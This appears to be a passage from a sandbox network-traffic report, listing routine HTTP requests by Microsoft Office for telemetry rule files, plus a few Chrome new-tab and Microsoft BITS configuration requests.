Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
